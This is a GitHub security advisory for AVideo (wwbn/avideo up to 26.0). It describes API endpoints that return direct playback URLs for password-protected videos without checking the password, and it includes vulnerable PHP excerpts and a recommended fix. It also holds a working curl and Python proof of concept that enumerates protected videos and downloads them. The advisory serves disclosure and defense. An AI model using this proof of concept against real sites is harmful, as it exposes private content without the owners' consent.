GHSA-q6jj-r49p-94fh
AVideo has Video Password Protection Bypass via API Endpoints Returning Full Playback Sources Without Password Verification
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Packagist | wwbn/avideo | <= 26.0 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
The `get_api_video_file` and `get_api_video` API endpoints in AVideo return full video playback sources (direct MP4 URLs, HLS manifests) for password-protected videos without verifying the video password. While the normal web playback flow enforces password checks via the `CustomizeUser::getModeYouTube()` hook, this enforcement is completely absent from the API code path. An unauthenticated attacker can retrieve direct playback URLs for any password-protected video by calling the API directly.
## Details
The video password protection is enforced in the web UI via `CustomizeUser::getModeYouTube()` (`plugin/CustomizeUser/CustomizeUser.php:787`), which calls `videoPasswordIsGood()` before rendering the video player. However, this hook is only invoked during web page rendering — the API endpoints bypass it entirely.
**Vulnerable endpoint 1 — `get_api_video_file` (`plugin/API/API.php:986-1004`):**
```php
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
}
$video = new Video('', '', $obj->videos_id);
$obj->filename = $video->getFilename();
// ...
$obj->video_file = Video::getHigherVideoPathFromID($obj->videos_id);
$obj->sources = getSources($obj->filename, true);
return new ApiObject("", false, $obj);
}
```
The only access check is `User::canWatchVideoWithAds()` (`objects/user.php:1102-1159`), which checks admin status, video active status, owner status, and plugin-level restrictions (subscription/PPV). It does **not** check `video_password`. Password-protected videos have status `'a'` (active), which passes all checks.
**Vulnerable endpoint 2 — `get_api_video` (`plugin/API/API.php:1635-1810`):**
This endpoint returns video metadata including full `videos` paths (line 1759) and `sources` arrays (line 1785) for all videos in query results, with no password verification anywhere in the function.
**The intended password check exists but is never called from these endpoints:**
`Video::verifyVideoPassword()` (`objects/video.php:543-553`) is the proper password verification function, and `get_api_video_password_is_correct` exists as a separate API endpoint — proving password verification was intended as an access control. But neither `get_api_video_file` nor `get_api_video` invoke any password check.
## PoC
```bash
# Step 1: Identify a password-protected video via the video list API
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video&rowCount=50' | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for v in data.get('response',{}).get('rows',[]):
if v.get('video_password'):
print(f'ID: {v[\"id\"]}, Title: {v[\"title\"]}, Password Protected: YES')
print(f' Direct sources: {json.dumps(v.get(\"sources\",[])[0] if v.get(\"sources\") else \"none\")}')"
# Step 2: Retrieve full playback sources for the password-protected video
curl -s 'https://target.com/plugin/API/get.json.php?APIName=video_file&videos_id=<PROTECTED_VIDEO_ID>'
# Expected: access denied or password prompt
# Actual: full response with direct MP4/HLS URLs:
# {"error":false,"response":{"videos_id":"123","filename":"video_abc",
# "video_file":"https://target.com/videos/video_abc/video_abc_HD.mp4",
# "sources":[{"src":"https://target.com/videos/video_abc/video_abc_HD.mp4","type":"video/mp4"}]}}
# Step 3: Download the protected video directly
curl -O 'https://target.com/videos/video_abc/video_abc_HD.mp4'
```
## Impact
Any unauthenticated user can retrieve direct playable video URLs for all password-protected videos, completely bypassing the password requirement. The `get_api_video` endpoint additionally exposes which videos are password-protected (via the `video_password` field set to `'1'`), allowing targeted enumeration. This renders the `video_password` feature ineffective for any content accessible through the API, which includes mobile apps, third-party integrations, and direct API consumers.
## Recommended Fix
Add password verification to both API endpoints before returning video sources. In `plugin/API/API.php`:
```php
public function get_api_video_file($parameters)
{
global $global;
$obj = $this->startResponseObject($parameters);
$obj->videos_id = $parameters['videos_id'];
if (!self::isAPISecretValid()) {
if (!User::canWatchVideoWithAds($obj->videos_id)) {
return new ApiObject("You cannot watch this video");
}
// Check video password protection
$video = new Video('', '', $obj->videos_id);
$storedPassword = $video->getVideo_password();
if (!empty($storedPassword)) {
$providedPassword = @$parameters['video_password'];
if (empty($providedPassword) || !Video::verifyVideoPassword($providedPassword, $storedPassword)) {
return new ApiObject("Video password required", true);
}
}
}
// ... rest of function
}
```
Apply the same check in `get_api_video()` before populating the `videos` and `sources` fields (around line 1759), replacing source data with an empty object when the password is not provided or incorrect. Also fix `get_api_video_password_is_correct` to use `Video::verifyVideoPassword()` instead of direct `==` comparison (line 1126), which currently fails for bcrypt hashes.
References
External links from the advisory. They lead to third-party sites.